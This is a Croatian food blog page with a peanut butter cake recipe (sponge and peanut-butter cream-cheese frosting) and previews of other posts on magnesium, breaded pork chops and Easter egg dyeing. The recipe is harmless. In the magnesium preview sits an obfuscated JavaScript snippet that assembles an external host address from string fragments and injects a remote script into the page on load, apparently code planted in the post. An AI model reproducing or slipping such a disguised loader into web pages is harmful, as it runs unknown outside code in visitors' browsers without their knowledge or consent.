KOLAČ S MASLACEM OD KIKIRIKIJA 🥜




Kolač s maslacem od kikirikija 



Ako ste ljubitelj maslaca od kikirikija, ovo je savršen kolač za vas. Taj kremasti sastojak pun bjelančevina biljnog porijekla i masti nalazi se u biskvitu, ali i u kremi za kolač.




Kolač s maslacem od kikirikija 


Sastojci:

Za biskvit:

  • 320 g glatkog brašna
  • 220 g smeđeg šećera
  • 200 g maslaca od kikirikija
  • 180 ml mlijeka
  • 180 g omekšalog maslaca
  • 120 g kiselog vrhnja
  • 100 g bijelog šećera
  • 3 velika jaja
  • 2 čajne žličice praška za pecivo
  • 1 čajna žličica ekstrakta vanilije
  • prstohvat soli

Za kremu:

  • 320 g maslaca od kikirikija
  • 240 g šećera u prahu
  • 225 g krem sira sa sobne temperature
  • 50 g slatkog vrhnja za šlag
  • 1 žličica ekstrakta vanilije



Priprema:

  1. Napravite smjesu za biskvit: u jednoj zdjeli pomiješajte brašno, prašak za pecivo i sol. U drugoj zdjeli pomiješajte maslac sa sobne temperature, smeđi i bijeli šećer. Dodavajte jedno po jedno jaje i maslac od kikirikija, kiselo vrhnje i ekstrakt vanilije. Miksajte dok ne dobijete glatku smjesu. Postupno umiješajte brašno u smjesu i mlijeko. Miksajte sve dok se smjesa ne sjedini.
  2. Prebacite smjesu u pravokutni lim za pečenje biskvita koji ste prethodno namastili i/ili prekrili papirom za pečenje.
  3. Stavite peći biskvit u prethodno zagrijanu pećnicu na 180 Celzijevih stupnjeva oko 35 do 40 minuta, odnosno dok nije pečen do kraja. Provjerite čačkalicom je li biskvit pečen pirje nego što ga izvadite iz pećnice. Pustite da se ohladi do kraja.
  4. Napravite kremu: izmiksajte krem sir sa sobne temperature i maslac dok ne dobijete glatku kremu. Dodajte maslac od kikirikija i nastavite miksati. Umiješajte šećer u prahu i ekstrakt vanilije te slatko vrhnje za šlag.
  5. Dobivenu kremu premažite preko ohlađenog biskvita, narežite i poslužite. Po želji ga možete i ohladiti i par sati u hladnjaku prije rezanja i serviranja. Dobar tek!




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više